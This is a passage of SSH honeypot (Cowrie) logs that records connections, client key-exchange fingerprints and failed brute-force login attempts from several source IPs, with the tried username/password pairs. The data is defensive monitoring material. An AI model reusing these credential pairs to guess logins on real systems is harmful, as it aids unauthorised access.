gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:28.328599Z","src_ip":"101.47.159.50","session":"9ad9c6d33476","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdasd123","message":"login attempt [root/Asdasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:29.359071Z","src_ip":"101.47.159.50","session":"9ad9c6d33476","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:30.611452Z","src_ip":"101.47.159.50","session":"9ad9c6d33476","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":37682,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c99911b8331","protocol":"ssh","message":"New connection: 103.15.222.183:37682 (159.203.135.109:22) [session: 2c99911b8331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:31.101557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:31.104304Z","src_ip":"103.15.222.183","session":"2c99911b8331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:31.332577Z","src_ip":"103.15.222.183","session":"2c99911b8331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"250219","message":"login attempt [root/250219] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:32.020595Z","src_ip":"103.15.222.183","session":"2c99911b8331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:33.254483Z","src_ip":"103.15.222.183","session":"2c99911b8331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":45470,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6d1841ad9db","protocol":"ssh","message":"New connection: 8.210.75.243:45470 (10.17.0.5:22) [session: e6d1841ad9db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:34.351558Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":34930,"dst_ip":"10.17.0.5","dst_port":22,"session":"64bfa5237552","protocol":"ssh","message":"New connection: 165.154.137.186:34930 (10.17.0.5:22) [session: 64bfa5237552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:35.047869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:35.051249Z","src_ip":"165.154.137.186","session":"64bfa5237552","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:35.305473Z","src_ip":"165.154.137.186","session":"64bfa5237552","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:36.068285Z","src_ip":"165.154.137.186","session":"64bfa5237552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:37.325174Z","src_ip":"165.154.137.186","session":"64bfa5237552","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40130,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8b37ddf63cb","protocol":"ssh","message":"New connection: 165.154.137.186:40130 (10.17.0.5:22) [session: c8b37ddf63cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:51.131458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:51.135236Z","src_ip":"165.154.137.186","session":"c8b37ddf63cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:51.410452Z","src_ip":"165.154.137.186","session":"c8b37ddf63cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":38942,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f9ac01ccc7d","protocol":"ssh","message":"New connection: 159.65.58.200:38942 (159.203.135.109:22) [session: 4f9ac01ccc7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:51.495195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:51.690555Z","src_ip":"159.65.58.200","session":"4f9ac01ccc7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:51.692831Z","src_ip":"159.65.58.200","session":"4f9ac01ccc7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:52.247318Z","src_ip":"165.154.137.186","session":"c8b37ddf63cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"semashko","password":"123456","message":"login attempt [semashko/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:52.625903Z","src_ip":"159.65.58.200","session":"4f9ac01ccc7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:53.524391Z","src_ip":"165.154.137.186","session":"c8b37ddf63cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36370,"dst_ip":"10.17.0.5","dst_port":22,"session":"a997dae97c96","protocol":"ssh","message":"New connection: 165.154.137.186:36370 (10.17.0.5:22) [session: a997dae97c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:53.766587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:53.770316Z","src_ip":"165.154.137.186","session":"a997dae97c96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:53.921811Z","src_ip":"159.65.58.200","session":"4f9ac01ccc7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:54.048507Z","src_ip":"165.154.137.186","session":"a997dae97c96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:54.883178Z","src_ip":"165.154.137.186","session":"a997dae97c96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:56.164424Z","src_ip":"165.154.137.186","session":"a997dae97c96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40152,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcbeb2beac1f","protocol":"ssh","message":"New connection: 165.154.137.186:40152 (10.17.0.5:22) [session: fcbeb2beac1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:01.634617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:01.638217Z","src_ip":"165.154.137.186","session":"fcbeb2beac1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:01.893450Z","src_ip":"165.154.137.186","session":"fcbeb2beac1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:02.662142Z","src_ip":"165.154.137.186","session":"fcbeb2beac1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:03.920705Z","src_ip":"165.154.137.186","session":"fcbeb2beac1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":51276,"dst_ip":"10.17.0.5","dst_port":22,"session":"aafb2ec0a5f8","protocol":"ssh","message":"New connection: 165.154.137.186:51276 (10.17.0.5:22) [session: aafb2ec0a5f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:09.352271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:09.356135Z","src_ip":"165.154.137.186","session":"aafb2ec0a5f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:09.616002Z","src_ip":"165.154.137.186","session":"aafb2ec0a5f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:10.543786Z","src_ip":"165.154.137.186","session":"aafb2ec0a5f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":58360,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cde2caf650d","protocol":"ssh","message":"New connection: 2.57.122.209:58360 (10.17.0.5:22) [session: 4cde2caf650d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:11.403508Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:11.802624Z","src_ip":"165.154.137.186","session":"aafb2ec0a5f8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:11.833019Z","src_ip":"2.57.122.209","session":"4cde2caf650d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:11.835888Z","src_ip":"2.57.122.209","session":"4cde2caf650d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":51294,"dst_ip":"10.17.0.5","dst_port":22,"session":"919f3e8b5676","protocol":"ssh","message":"New connection: 165.154.137.186:51294 (10.17.0.5:22) [session: 919f3e8b5676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:12.494502Z"}
